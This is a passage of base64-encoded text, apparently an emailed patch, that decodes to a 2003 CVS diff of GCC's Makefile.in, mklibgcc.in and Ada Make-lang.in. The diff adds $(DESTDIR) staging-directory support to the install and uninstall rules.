REVTVERJUikkKGxpYnN1YmRpcikvaW5jbHVkZQ0KIA0KICMgSW5zdGFsbCB0 aGUgaW5jbHVkZSBkaXJlY3RvcnkgdXNpbmcgdGFyLg0KIGluc3RhbGwtaGVh ZGVycy10YXI6IHN0bXAtaW50LWhkcnMgJChTVE1QX0ZJWFBST1RPKSBpbnN0 YWxsLWluY2x1ZGUtZGlyDQpAQCAtMjk5MSw3ICsyOTg0LDcgQEANCiAjIGZv dW5kIGluIENEUEFUSCwgY29ycnVwdGluZyB0aGUgb3V0cHV0LiAgV2UgY291 bGQganVzdCByZWRpcmVjdCB0aGUNCiAjIG91dHB1dCBvZiBgY2QnLCBidXQg c29tZSBzaGVsbHMgbG9zZSBvbiByZWRpcmVjdGlvbiB3aXRoaW4gYCgpJ3MN CiAJKGNkIGAke1BXRH1gL2luY2x1ZGUgOyBcDQotCSB0YXIgLWNmIC0gLjsg ZXhpdCAwKSB8IChjZCAkKGxpYnN1YmRpcikvaW5jbHVkZTsgdGFyIHhwZiAt ICkNCisJIHRhciAtY2YgLSAuOyBleGl0IDApIHwgKGNkICQoREVTVERJUikk KGxpYnN1YmRpcikvaW5jbHVkZTsgdGFyIHhwZiAtICkNCiAjIC9iaW4vc2gg b24gc29tZSBzeXN0ZW1zIHJldHVybnMgdGhlIHN0YXR1cyBvZiB0aGUgZmly c3QgdGFyLA0KICMgYW5kIHRoYXQgY2FuIGxvc2Ugd2l0aCBHTlUgdGFyIHdo aWNoIGFsd2F5cyB3cml0ZXMgYSBmdWxsIGJsb2NrLg0KICMgU28gdXNlIGBl eGl0IDAnIHRvIGlnbm9yZSBpdHMgZXhpdCBzdGF0dXMuDQpAQCAtMzAwMCw3 OCArMjk5Myw3OCBAQA0KIGluc3RhbGwtaGVhZGVycy1jcGlvOiBzdG1wLWlu dC1oZHJzICQoU1RNUF9GSVhQUk9UTykgaW5zdGFsbC1pbmNsdWRlLWRpcg0K ICMgU2VlIGRpc2N1c3Npb24gYWJvdXQgdGhlIHVzZSBvZiBgcHdkYCBhYm92 ZQ0KIAljZCBgJHtQV0R9YC9pbmNsdWRlIDsgXA0KLQlmaW5kIC4gLXByaW50 IHwgY3BpbyAtcGR1bSAkKGxpYnN1YmRpcikvaW5jbHVkZQ0KKwlmaW5kIC4g LXByaW50IHwgY3BpbyAtcGR1bSAkKERFU1RESVIpJChsaWJzdWJkaXIpL2lu Y2x1ZGUNCiANCiAjIEluc3RhbGwgdGhlIGluY2x1ZGUgZGlyZWN0b3J5IHVz aW5nIGNwLg0KIGluc3RhbGwtaGVhZGVycy1jcDogc3RtcC1pbnQtaGRycyAk KFNUTVBfRklYUFJPVE8pIGluc3RhbGwtaW5jbHVkZS1kaXINCi0JY3AgLXAg LXIgaW5jbHVkZSAkKGxpYnN1YmRpcikNCisJY3AgLXAgLXIgaW5jbHVkZSAk KERFU1RESVIpJChsaWJzdWJkaXIpDQogDQogaXRvb2xzZGlyID0gJChsaWJz dWJkaXIpL2luc3RhbGwtdG9vbHMNCiAjIERvbid0IGluc3RhbGwgdGhlIGhl YWRlcnMuICBJbnN0ZWFkLCBpbnN0YWxsIGFwcHJvcHJpYXRlIHNjcmlwdHMN CiAjIGFuZCBzdXBwb3J0aW5nIGZpbGVzIGZvciBmaXhpbmNsdWRlcyB0byBi ZSBydW4gbGF0ZXIuDQogaW5zdGFsbC1ta2hlYWRlcnM6IHN0bXAtaW50LWhk cnMgJChTVE1QX0ZJWFBST1RPKSBpbnN0YWxsLWluY2x1ZGUtZGlyIFwNCiAg ICAgbWtoZWFkZXJzIHhsaW1pdHMuaA0KLQktcm0gLXJmICQoaXRvb2xzZGly KQ0KLQkkKFNIRUxMKSAkKHNyY2RpcikvbWtpbnN0YWxsZGlycyAkKGl0b29s c2RpcikvaW5jbHVkZQ0KKwktcm0gLXJmICQoREVTVERJUikkKGl0b29sc2Rp cikNCisJJChTSEVMTCkgJChzcmNkaXIpL21raW5zdGFsbGRpcnMgJChERVNU RElSKSQoaXRvb2xzZGlyKS9pbmNsdWRlDQogCWZvciBmaWxlIGluICQoVVNF Ul9IKTsgZG8gXA0KIAkgIHJlYWxmaWxlPWBlY2hvICQkZmlsZSB8IHNlZCAt ZSAnc3wuKi9cKFteL10qXCkkJHxcMXwnYDsgXA0KIAkgICQoSU5TVEFMTF9E QVRBKSAkJGZpbGUgXA0KLQkgICAgJChpdG9vbHNkaXIpL2luY2x1ZGUvJCRy ZWFsZmlsZSA7IFwNCisJICAgICQoREVTVERJUikkKGl0b29sc2RpcikvaW5j bHVkZS8kJHJlYWxmaWxlIDsgXA0KIAlkb25lDQotCSQoSU5TVEFMTF9EQVRB KSB4bGltaXRzLmggJChpdG9vbHNkaXIpL2luY2x1ZGUvbGltaXRzLmgNCisJ JChJTlNUQUxMX0RBVEEpIHhsaW1pdHMuaCAkKERFU1RESVIpJChpdG9vbHNk aXIpL2luY2x1ZGUvbGltaXRzLmgNCiAJaWYgWyB4JChTVE1QX0ZJWElOQykg IT0geCBdIDsgdGhlbiBcDQogCSAgJChJTlNUQUxMX0RBVEEpICQoc3JjZGly KS9SRUFETUUtZml4aW5jIFwNCi0JICAgICQoaXRvb2xzZGlyKS9pbmNsdWRl L1JFQURNRSA7IFwNCi0JICAkKElOU1RBTExfUFJPR1JBTSkgZml4aW5jLnNo ICQoaXRvb2xzZGlyKS9maXhpbmMuc2ggOyBcDQotCSAgJChJTlNUQUxMX1BS T0dSQU0pIGZpeGluYy9maXhpbmNsICQoaXRvb2xzZGlyKS9maXhpbmNsIDsg XA0KLQkgICQoSU5TVEFMTF9EQVRBKSAkKHNyY2RpcikvZ3N5c2xpbWl0cy5o ICQoaXRvb2xzZGlyKS9nc3lzbGltaXRzLmggOyBcDQorCSAgICAkKERFU1RE SVIpJChpdG9vbHNkaXIpL2luY2x1ZGUvUkVBRE1FIDsgXA0KKwkgICQoSU5T VEFMTF9QUk9HUkFNKSBmaXhpbmMuc2ggJChERVNURElSKSQoaXRvb2xzZGly KS9maXhpbmMuc2ggOyBcDQorCSAgJChJTlNUQUxMX1BST0dSQU0pIGZpeGlu Yy9maXhpbmNsICQoREVTVERJUikkKGl0b29sc2RpcikvZml4aW5jbCA7IFwN CisJICAkKElOU1RBTExfREFUQSkgJChzcmNkaXIpL2dzeXNsaW1pdHMuaCAk KERFU1RESVIpJChpdG9vbHNkaXIpL2dzeXNsaW1pdHMuaCA7IFwNCiAJZWxz ZSA6OyBmaQ0KIAlpZiBbIHgkKFNUTVBfRklYUFJPVE8pICE9IHggXSA7IHRo ZW4gXA0KIAkgICQoSU5TVEFMTF9QUk9HUkFNKSAkKHNyY2RpcikvbWtpbnN0 YWxsZGlycyBcDQotCQkkKGl0b29sc2RpcikvbWtpbnN0YWxsZGlycyA7IFwN Ci0JICAkKElOU1RBTExfUFJPR1JBTSkgJChzcmNkaXIpL2ZpeHByb3RvICQo aXRvb2xzZGlyKS9maXhwcm90byA7IFwNCisJCSQoREVTVERJUikkKGl0b29s c2RpcikvbWtpbnN0YWxsZGlycyA7IFwNCisJICAkKElOU1RBTExfUFJPR1JB TSkgJChzcmNkaXIpL2ZpeHByb3RvICQoREVTVERJUikkKGl0b29sc2Rpcikv Zml4cHJvdG8gOyBcDQogCSAgJChJTlNUQUxMX1BST0dSQU0pIGZpeC1oZWFk ZXIkKGJ1aWxkX2V4ZWV4dCkgXA0KLQkJJChpdG9vbHNkaXIpL2ZpeC1oZWFk ZXIkKGJ1aWxkX2V4ZWV4dCkgOyBcDQorCQkkKERFU1RESVIpJChpdG9vbHNk aXIpL2ZpeC1oZWFkZXIkKGJ1aWxkX2V4ZWV4dCkgOyBcDQogCWVsc2UgOjsg ZmkNCi0JJChJTlNUQUxMX1BST0dSQU0pIG1raGVhZGVycyAkKGl0b29sc2Rp cikvbWtoZWFkZXJzDQorCSQoSU5TVEFMTF9QUk9HUkFNKSBta2hlYWRlcnMg JChERVNURElSKSQoaXRvb2xzZGlyKS9ta2hlYWRlcnMNCiAJZWNobyAnU1lT VEVNX0hFQURFUl9ESVI9IiQoU1lTVEVNX0hFQURFUl9ESVIpIicgXA0KLQkJ PiAkKGl0b29sc2RpcikvbWtoZWFkZXJzLmNvbmYNCisJCT4gJChERVNURElS KSQoaXRvb2xzZGlyKS9ta2hlYWRlcnMuY29uZg0KIAllY2hvICdPVEhFUl9G SVhJTkNMVURFU19ESVJTPSIkKE9USEVSX0ZJWElOQ0xVREVTX0RJUlMpIicg XA0KLQkJPj4gJChpdG9vbHNkaXIpL21raGVhZGVycy5jb25mDQorCQk+PiAk KERFU1RESVIpJChpdG9vbHNkaXIpL21raGVhZGVycy5jb25mDQogCWVjaG8g J0ZJWFBST1RPX0RFRklORVM9IiQoRklYUFJPVE9fREVGSU5FUykiJyBcDQot CQk+PiAkKGl0b29sc2RpcikvbWtoZWFkZXJzLmNvbmYNCi0JZWNobyAnU1RN UF9GSVhQUk9UTz0iJChTVE1QX0ZJWFBST1RPKSInID4+ICQoaXRvb2xzZGly KS9ta2hlYWRlcnMuY29uZg0KLQllY2hvICdTVE1QX0ZJWElOQz0iJChTVE1Q X0ZJWElOQykiJyA+PiAkKGl0b29sc2RpcikvbWtoZWFkZXJzLmNvbmYNCisJ CT4+ICQoREVTVERJUikkKGl0b29sc2RpcikvbWtoZWFkZXJzLmNvbmYNCisJ ZWNobyAnU1RNUF9GSVhQUk9UTz0iJChTVE1QX0ZJWFBST1RPKSInID4+ICQo REVTVERJUikkKGl0b29sc2RpcikvbWtoZWFkZXJzLmNvbmYNCisJZWNobyAn U1RNUF9GSVhJTkM9IiQoU1RNUF9GSVhJTkMpIicgPj4gJChERVNURElSKSQo aXRvb2xzZGlyKS9ta2hlYWRlcnMuY29uZg0KIA0KICMgVXNlIHRoaXMgdGFy Z2V0IHRvIGluc3RhbGwgdGhlIHByb2dyYW0gYGNvbGxlY3QyJyB1bmRlciB0 aGUgbmFtZSBgY29sbGVjdDInLg0KIGluc3RhbGwtY29sbGVjdDI6IGNvbGxl Y3QyIGluc3RhbGxkaXJzDQotCSQoSU5TVEFMTF9QUk9HUkFNKSBjb2xsZWN0 MiQoZXhlZXh0KSAkKGxpYnN1YmRpcikvY29sbGVjdDIkKGV4ZWV4dCkNCisJ JChJTlNUQUxMX1BST0dSQU0pIGNvbGxlY3QyJChleGVleHQpICQoREVTVERJ UikkKGxpYnN1YmRpcikvY29sbGVjdDIkKGV4ZWV4dCkNCiAjIEluc3RhbGwg dGhlIGRyaXZlciBwcm9ncmFtIGFzICQobGlic3ViZGlyKS9nY2MgZm9yIGNv bGxlY3QyLg0KLQkkKElOU1RBTExfUFJPR1JBTSkgeGdjYyQoZXhlZXh0KSAk KGxpYnN1YmRpcikvZ2NjJChleGVleHQpDQorCSQoSU5TVEFMTF9QUk9HUkFN KSB4Z2NjJChleGVleHQpICQoREVTVERJUikkKGxpYnN1YmRpcikvZ2NjJChl eGVleHQpDQogDQogIyBDYW5jZWwgaW5zdGFsbGF0aW9uIGJ5IGRlbGV0aW5n IHRoZSBpbnN0YWxsZWQgZmlsZXMuDQogdW5pbnN0YWxsOiBpbnRsLnVuaW5z dGFsbCBsYW5nLnVuaW5zdGFsbA0KLQktcm0gLXJmICQobGlic3ViZGlyKQ0K LQktcm0gLXJmICQoYmluZGlyKS8kKEdDQ19JTlNUQUxMX05BTUUpJChleGVl eHQpDQotCS1ybSAtcmYgJChiaW5kaXIpLyQoR0NDX0NST1NTX05BTUUpJChl eGVleHQpDQotCS1ybSAtZiAkKGJpbmRpcikvJChDUFBfSU5TVEFMTF9OQU1F KSQoZXhlZXh0KQ0KLQktcm0gLWYgJChiaW5kaXIpLyQoQ1BQX0NST1NTX05B TUUpJChleGVleHQpDQorCS1ybSAtcmYgJChERVNURElSKSQobGlic3ViZGly KQ0KKwktcm0gLXJmICQoREVTVERJUikkKGJpbmRpcikvJChHQ0NfSU5TVEFM TF9OQU1FKSQoZXhlZXh0KQ0KKwktcm0gLXJmICQoREVTVERJUikkKGJpbmRp cikvJChHQ0NfQ1JPU1NfTkFNRSkkKGV4ZWV4dCkNCisJLXJtIC1mICQoREVT VERJUikkKGJpbmRpcikvJChDUFBfSU5TVEFMTF9OQU1FKSQoZXhlZXh0KQ0K Kwktcm0gLWYgJChERVNURElSKSQoYmluZGlyKS8kKENQUF9DUk9TU19OQU1F KSQoZXhlZXh0KQ0KIAktaWYgWyB4JChjcHBfaW5zdGFsbF9kaXIpICE9IHgg XTsgdGhlbiBcDQotCSAgcm0gLWYgJChwcmVmaXgpLyQoY3BwX2luc3RhbGxf ZGlyKS8kKENQUF9JTlNUQUxMX05BTUUpJChleGVleHQpOyBcDQotCSAgcm0g LWYgJChwcmVmaXgpLyQoY3BwX2luc3RhbGxfZGlyKS8kKENQUF9DUk9TU19O QU1FKSQoZXhlZXh0KTsgXA0KKwkgIHJtIC1mICQoREVTVERJUikkKHByZWZp eCkvJChjcHBfaW5zdGFsbF9kaXIpLyQoQ1BQX0lOU1RBTExfTkFNRSkkKGV4 ZWV4dCk7IFwNCisJICBybSAtZiAkKERFU1RESVIpJChwcmVmaXgpLyQoY3Bw X2luc3RhbGxfZGlyKS8kKENQUF9DUk9TU19OQU1FKSQoZXhlZXh0KTsgXA0K IAllbHNlIHRydWU7IGZpDQotCS1ybSAtcmYgJChiaW5kaXIpLyQoUFJPVE9J WkVfSU5TVEFMTF9OQU1FKSQoZXhlZXh0KQ0KLQktcm0gLXJmICQoYmluZGly KS8kKFBST1RPSVpFX0NST1NTX05BTUUpJChleGVleHQpDQotCS1ybSAtcmYg JChiaW5kaXIpLyQoVU5QUk9UT0laRV9JTlNUQUxMX05BTUUpJChleGVleHQp DQotCS1ybSAtcmYgJChiaW5kaXIpLyQoVU5QUk9UT0laRV9DUk9TU19OQU1F KSQoZXhlZXh0KQ0KLQktcm0gLXJmICQoYmluZGlyKS8kKEdDT1ZfSU5TVEFM TF9OQU1FKSQoZXhlZXh0KQ0KLQktcm0gLXJmICQobWFuMWRpcikvJChHQ0Nf SU5TVEFMTF9OQU1FKSQobWFuMWV4dCkNCi0JLXJtIC1yZiAkKG1hbjFkaXIp LyQoR0NDX0NST1NTX05BTUUpJChtYW4xZXh0KQ0KLQktcm0gLXJmICQobWFu MWRpcikvY3BwJChtYW4xZXh0KQ0KLQktcm0gLXJmICQobWFuMWRpcikvcHJv dG9pemUkKG1hbjFleHQpDQotCS1ybSAtcmYgJChtYW4xZGlyKS91bnByb3Rv aXplJChtYW4xZXh0KQ0KLQktcm0gLWYgJChpbmZvZGlyKS9jcHAuaW5mbyog JChpbmZvZGlyKS9nY2MuaW5mbyoNCi0JLXJtIC1mICQoaW5mb2RpcikvY3Bw aW50ZXJuYWxzLmluZm8qICQoaW5mb2RpcikvZ2NjaW50LmluZm8qDQorCS1y bSAtcmYgJChERVNURElSKSQoYmluZGlyKS8kKFBST1RPSVpFX0lOU1RBTExf TkFNRSkkKGV4ZWV4dCkNCisJLXJtIC1yZiAkKERFU1RESVIpJChiaW5kaXIp LyQoUFJPVE9JWkVfQ1JPU1NfTkFNRSkkKGV4ZWV4dCkNCisJLXJtIC1yZiAk KERFU1RESVIpJChiaW5kaXIpLyQoVU5QUk9UT0laRV9JTlNUQUxMX05BTUUp JChleGVleHQpDQorCS1ybSAtcmYgJChERVNURElSKSQoYmluZGlyKS8kKFVO UFJPVE9JWkVfQ1JPU1NfTkFNRSkkKGV4ZWV4dCkNCisJLXJtIC1yZiAkKERF U1RESVIpJChiaW5kaXIpLyQoR0NPVl9JTlNUQUxMX05BTUUpJChleGVleHQp DQorCS1ybSAtcmYgJChERVNURElSKSQobWFuMWRpcikvJChHQ0NfSU5TVEFM TF9OQU1FKSQobWFuMWV4dCkNCisJLXJtIC1yZiAkKERFU1RESVIpJChtYW4x ZGlyKS8kKEdDQ19DUk9TU19OQU1FKSQobWFuMWV4dCkNCisJLXJtIC1yZiAk KERFU1RESVIpJChtYW4xZGlyKS9jcHAkKG1hbjFleHQpDQorCS1ybSAtcmYg JChERVNURElSKSQobWFuMWRpcikvcHJvdG9pemUkKG1hbjFleHQpDQorCS1y bSAtcmYgJChERVNURElSKSQobWFuMWRpcikvdW5wcm90b2l6ZSQobWFuMWV4 dCkNCisJLXJtIC1mICQoREVTVERJUikkKGluZm9kaXIpL2NwcC5pbmZvKiAk KERFU1RESVIpJChpbmZvZGlyKS9nY2MuaW5mbyoNCisJLXJtIC1mICQoREVT VERJUikkKGluZm9kaXIpL2NwcGludGVybmFscy5pbmZvKiAkKERFU1RESVIp JChpbmZvZGlyKS9nY2NpbnQuaW5mbyoNCiAjDA0KICMgVGhlc2UgdGFyZ2V0 cyBhcmUgZm9yIHRoZSBkZWphZ251IHRlc3RzdWl0ZXMuIFRoZSBmaWxlIHNp dGUuZXhwDQogIyBjb250YWlucyBnbG9iYWwgdmFyaWFibGVzIHRoYXQgYWxs IHRoZSB0ZXN0c3VpdGVzIHdpbGwgdXNlLg0KSW5kZXg6IGdjYy9ta2xpYmdj Yy5pbg0KPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KUkNTIGZpbGU6IC91c3Iv bG9jYWwvc3JjL2N2cy9nY2MtY3ZzL2djYy9nY2MvbWtsaWJnY2MuaW4sdg0K cmV0cmlldmluZyByZXZpc2lvbiAxLjQ4DQpkaWZmIC11IC1yMS40OCBta2xp YmdjYy5pbg0KLS0tIGdjYy9ta2xpYmdjYy5pbgkzIE9jdCAyMDAyIDIwOjM1 OjEzIC0wMDAwCTEuNDgNCisrKyBnY2MvbWtsaWJnY2MuaW4JMTIgSmFuIDIw MDMgMTg6NDg6NTggLTAwMDANCkBAIC00MzYsMTAgKzQzNiwxMCBAQA0KICAg ZGlyPWBlY2hvICR7bWx9IHwgc2VkIC1lICdzLzsuKiQvLycgLWUgJ3MvPS8k KEVRKS9nJ2ANCiAgIGZsYWdzPWBlY2hvICR7bWx9IHwgc2VkIC1lICdzL15b XjtdKjsvLycgLWUgJ3MvQC8gLS9nJ2A7DQogICBpZiBbICRkaXIgIT0gLiBd OyB0aGVuDQotICAgIGxkaXI9JyQobGlic3ViZGlyKScvJGRpcg0KKyAgICBs ZGlyPSckKERFU1RESVIpJChsaWJzdWJkaXIpJy8kZGlyDQogICAgIGVjaG8g IglpZiBbIC1kICRsZGlyIF07IHRoZW4gdHJ1ZTsgZWxzZSBta2RpciAkbGRp cjsgY2htb2QgYStyeCAkbGRpcjsgZmk7Ig0KICAgZWxzZQ0KLSAgICBsZGly PSckKGxpYnN1YmRpciknDQorICAgIGxkaXI9JyQoREVTVERJUikkKGxpYnN1 YmRpciknDQogICBmaQ0KICAgZWNobyAnCSQoSU5TVEFMTF9EQVRBKScgJHtk aXJ9L2xpYmdjYy5hICR7bGRpcn0vDQogICBlY2hvICcJJChSQU5MSUJfRk9S X1RBUkdFVCknICR7bGRpcn0vbGliZ2NjLmENCkBAIC00OTUsMTAgKzQ5NSwx MCBAQA0KICAgICBkaXI9YGVjaG8gJHttbH0gfCBzZWQgLWUgJ3MvOy4qJC8v JyAtZSAncy89LyQoRVEpL2cnYA0KICAgICBpZiBbICRkaXIgIT0gLiBdOyB0 aGVuDQogICAgICAgb3V0PSR7ZGlyfS8kZg0KLSAgICAgIGxkaXI9JyQobGli c3ViZGlyKScvJGRpcg0KKyAgICAgIGxkaXI9JyQoREVTVERJUikkKGxpYnN1 YmRpciknLyRkaXINCiAgICAgZWxzZQ0KICAgICAgIG91dD0kZg0KLSAgICAg IGxkaXI9JyQobGlic3ViZGlyKScNCisgICAgICBsZGlyPSckKERFU1RESVIp JChsaWJzdWJkaXIpJw0KICAgICBmaQ0KICAgICBlY2hvICcJJChJTlNUQUxM X0RBVEEpJyAkb3V0ICRsZGlyLw0KICAgZG9uZQ0KSW5kZXg6IGdjYy9hZGEv TWFrZS1sYW5nLmluDQo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQpSQ1MgZmls ZTogL3Vzci9sb2NhbC9zcmMvY3ZzL2djYy1jdnMvZ2NjL2djYy9hZGEvTWFr ZS1sYW5nLmluLHYNCnJldHJpZXZpbmcgcmV2aXNpb24gMS4xOC40LjENCmRp ZmYgLXUgLXIxLjE4LjQuMSBNYWtlLWxhbmcuaW4NCi0tLSBnY2MvYWRhL01h a2UtbGFuZy5pbgkyMyBEZWMgMjAwMiAxOTozODozNyAtMDAwMAkxLjE4LjQu MQ0KKysrIGdjYy9hZGEvTWFrZS1sYW5nLmluCTEyIEphbiAyMDAzIDE4OjQ4 OjU4IC0wMDAwDQpAQCAtMzk0LDMwICszOTQsMzAgQEANCiAJJChzcmNkaXIp L2FkYS9nbmF0X3JtLmluZm8gJChzcmNkaXIpL2FkYS9nbmF0LXN0eWxlLmlu Zm8NCiANCiBhZGEuaW5zdGFsbC1pbmZvOg0KLQktcm0gLWYgJChpbmZvZGly KS9nbmF0X3VnXyouaW5mbyoNCi0JLXJtIC1mICQoaW5mb2RpcikvZ25hdF9y bS5pbmZvKiANCi0JLXJtIC1mICQoaW5mb2RpcikvZ25hdC1zdHlsZS5pbmZv KiANCisJLXJtIC1mICQoREVTVERJUikkKGluZm9kaXIpL2duYXRfdWdfKi5p bmZvKg0KKwktcm0gLWYgJChERVNURElSKSQoaW5mb2RpcikvZ25hdF9ybS5p bmZvKiANCisJLXJtIC1mICQoREVTVERJUikkKGluZm9kaXIpL2duYXQtc3R5 bGUuaW5mbyogDQogCWlmIFsgLWYgJChzcmNkaXIpL2FkYS9nbmF0X3VnX3Vu eC5pbmZvIF07IHRoZW4gXA0KIAkgIGZvciBmIGluICQoc3JjZGlyKS9hZGEv Z25hdF91Z18qLmluZm8qIFwNCiAJCSQoc3JjZGlyKS9hZGEvZ25hdF9ybS5p bmZvKiBcDQogCQkkKHNyY2RpcikvYWRhL2duYXQtc3R5bGUuaW5mbyo7IGRv IFwNCiAJICAgIHJlYWxmaWxlPWBlY2hvICQkZiB8IHNlZCAtZSAnc3wuKi9c KFteL10qXCkkJHxcMXwnYDsgXA0KLQkgICAgJChJTlNUQUxMX0RBVEEpICQk ZiAkKGluZm9kaXIpLyQkcmVhbGZpbGU7IFwNCisJICAgICQoSU5TVEFMTF9E QVRBKSAkJGYgJChERVNURElSKSQoaW5mb2RpcikvJCRyZWFsZmlsZTsgXA0K IAkgIGRvbmU7IFwNCiAJZWxzZSB0cnVlOyBmaQ0KIAktaWYgJChTSEVMTCkg LWMgJ2luc3RhbGwtaW5mbyAtLXZlcnNpb24nID4vZGV2L251bGwgMj4mMTsg dGhlbiBcDQotCSAgaWYgWyAtZiAkKGluZm9kaXIpL2RpciBdIDsgdGhlbiBc DQorCSAgaWYgWyAtZiAkKERFU1RESVIpJChpbmZvZGlyKS9kaXIgXSA7IHRo ZW4gXA0KIAkgICAgZm9yIGYgaW4gZ25hdF91Z192bXMuaW5mbyBnbmF0X3Vn X3dudC5pbmZvIGduYXRfdWdfdW54LmluZm8gXA0KIAkJZ25hdF91Z192eHcu aW5mbyBnbmF0X3JtLmluZm8gZ25hdC1zdHlsZS5pbmZvOyBkbyBcDQotCQlp ZiBbIC1mICQoaW5mb2RpcikvJCRmIF07IHRoZW4gXA0KLQkJICBpbnN0YWxs LWluZm8gLS1kaXItZmlsZT0kKGluZm9kaXIpL2RpciAkKGluZm9kaXIpLyQk ZjsgXA0KKwkJaWYgWyAtZiAkKERFU1RESVIpJChpbmZvZGlyKS8kJGYgXTsg dGhlbiBcDQorCQkgIGluc3RhbGwtaW5mbyAtLWRpci1maWxlPSQoREVTVERJ UikkKGluZm9kaXIpL2RpciAkKERFU1RESVIpJChpbmZvZGlyKS8kJGY7IFwN CiAJCWVsc2UgdHJ1ZTsgZmk7IFwNCiAJICAgIGRvbmU7IFwNCiAJICBlbHNl IHRydWU7IGZpOyBcDQogCWVsc2UgdHJ1ZTsgZmk7DQotCS1jaG1vZCBhLXgg JChpbmZvZGlyKS9nbmF0X3VnX3Ztcy5pbmZvKiAkKGluZm9kaXIpL2duYXRf dWdfd250LmluZm8qDQotCS1jaG1vZCBhLXggJChpbmZvZGlyKS9nbmF0X3Vn X3VueC5pbmZvKiAkKGluZm9kaXIpL2duYXRfdWdfdnh3LmluZm8qDQotCS1j aG1vZCBhLXggJChpbmZvZGlyKS9nbmF0X3JtLmluZm8qICQoaW5mb2Rpcikv Z25hdC1zdHlsZS5pbmZvKg0KKwktY2htb2QgYS14ICQoREVTVERJUikkKGlu Zm9kaXIpL2duYXRfdWdfdm1zLmluZm8qICQoREVTVERJUikkKGluZm9kaXIp L2duYXRfdWdfd250LmluZm8qDQorCS1jaG1vZCBhLXggJChERVNURElSKSQo aW5mb2RpcikvZ25hdF91Z191bnguaW5mbyogJChERVNURElSKSQoaW5mb2Rp cikvZ25hdF91Z192eHcuaW5mbyoNCisJLWNobW9kIGEteCAkKERFU1RESVIp JChpbmZvZGlyKS9nbmF0X3JtLmluZm8qICQoREVTVERJUikkKGluZm9kaXIp L2duYXQtc3R5bGUuaW5mbyoNCiANCiBhZGEvZ25hdF91Z191bnguZHZpIDog JChzcmNkaXIpL2FkYS9nbmF0X3VnX3VueC50ZXhpIFwNCiAJJChzcmNkaXIp L2RvYy9pbmNsdWRlL2ZkbC50ZXhpICQoc3JjZGlyKS9kb2MvaW5jbHVkZS9n Y2MtY29tbW9uLnRleGkNCkBAIC00NjksMjE3ICs0NjksMjE3IEBADQogCSB0 aGVuIFwNCiAJICBpZiBbIC1mIGduYXRiaW5kLWNyb3NzJChleGVleHQpIF0g OyBcDQogCSAgdGhlbiBcDQotCSAgICAkKFJNKSAkKGJpbmRpcikvJCh0YXJn ZXRfYWxpYXMpLWduYXRiaW5kJChleGVleHQpOyBcDQotCSAgICAkKElOU1RB TExfUFJPR1JBTSkgZ25hdGJpbmQtY3Jvc3MkKGV4ZWV4dCkgJChiaW5kaXIp LyQodGFyZ2V0X2FsaWFzKS1nbmF0YmluZCQoZXhlZXh0KTsgXA0KLQkgICAg aWYgWyAtZCAkKHRvb2xkaXIpL2Jpbi8uIF0gOyB0aGVuIFwNCi0JICAgICAg cm0gLWYgJCh0b29sZGlyKS9iaW4vZ25hdGJpbmQkKGV4ZWV4dCk7IFwNCi0J ICAgICAgJChJTlNUQUxMX1BST0dSQU0pIGduYXRiaW5kLWNyb3NzJChleGVl eHQpICQodG9vbGRpcikvYmluL2duYXRiaW5kJChleGVleHQpOyBcDQorCSAg ICAkKFJNKSAkKERFU1RESVIpJChiaW5kaXIpLyQodGFyZ2V0X2FsaWFzKS1n bmF0YmluZCQoZXhlZXh0KTsgXA0KKwkgICAgJChJTlNUQUxMX1BST0dSQU0p IGduYXRiaW5kLWNyb3NzJChleGVleHQpICQoREVTVERJUikkKGJpbmRpcikv JCh0YXJnZXRfYWxpYXMpLWduYXRiaW5kJChleGVleHQpOyBcDQorCSAgICBp ZiBbIC1kICQoREVTVERJUikkKHRvb2xkaXIpL2Jpbi8uIF0gOyB0aGVuIFwN CisJICAgICAgcm0gLWYgJChERVNURElSKSQodG9vbGRpcikvYmluL2duYXRi aW5kJChleGVleHQpOyBcDQorCSAgICAgICQoSU5TVEFMTF9QUk9HUkFNKSBn bmF0YmluZC1jcm9zcyQoZXhlZXh0KSAkKERFU1RESVIpJCh0b29sZGlyKS9i aW4vZ25hdGJpbmQkKGV4ZWV4dCk7IFwNCiAgICAgICAgICAgICBmaTsgXA0K IAkgIGVsc2UgXA0KLQkgICAgJChSTSkgJChiaW5kaXIpL2duYXRiaW5kJChl eGVleHQpOyBcDQotCSAgICAkKElOU1RBTExfUFJPR1JBTSkgZ25hdGJpbmQk KGV4ZWV4dCkgJChiaW5kaXIpL2duYXRiaW5kJChleGVleHQpOyBcDQorCSAg ICAkKFJNKSAkKERFU1RESVIpJChiaW5kaXIpL2duYXRiaW5kJChleGVleHQp OyBcDQorCSAgICAkKElOU1RBTExfUFJPR1JBTSkgZ25hdGJpbmQkKGV4ZWV4 dCkgJChERVNURElSKSQoYmluZGlyKS9nbmF0YmluZCQoZXhlZXh0KTsgXA0K IAkgIGZpIDsgXA0KIAlmaQ0KIAktaWYgWyAtZiBnbmF0MSQoZXhlZXh0KSBd IDsgXA0KIAl0aGVuIFwNCiAJICBpZiBbIC1mIGduYXRibC1jcm9zcyQoZXhl ZXh0KSBdIDsgXA0KIAkgIHRoZW4gXA0KLQkgICAgJChSTSkgJChiaW5kaXIp LyQodGFyZ2V0X2FsaWFzKS1nbmF0YmwkKGV4ZWV4dCk7IFwNCi0JICAgICQo SU5TVEFMTF9QUk9HUkFNKSBnbmF0YmwtY3Jvc3MkKGV4ZWV4dCkgJChiaW5k aXIpLyQodGFyZ2V0X2FsaWFzKS1nbmF0YmwkKGV4ZWV4dCk7IFwNCi0JICAg IGlmIFsgLWQgJCh0b29sZGlyKS9iaW4vLiBdIDsgdGhlbiBcDQotCSAgICAg ICBybSAtZiAkKHRvb2xkaXIpL2Jpbi9nbmF0YmwkKGV4ZWV4dCk7IFwNCi0J ICAgICAgICQoSU5TVEFMTF9QUk9HUkFNKSBnbmF0YmwtY3Jvc3MkKGV4ZWV4 dCkgJCh0b29sZGlyKS9iaW4vZ25hdGJsJChleGVleHQpOyBcDQorCSAgICAk KFJNKSAkKERFU1RESVIpJChiaW5kaXIpLyQodGFyZ2V0X2FsaWFzKS1nbmF0 YmwkKGV4ZWV4dCk7IFwNCisJICAgICQoSU5TVEFMTF9QUk9HUkFNKSBnbmF0 YmwtY3Jvc3MkKGV4ZWV4dCkgJChERVNURElSKSQoYmluZGlyKS8kKHRhcmdl 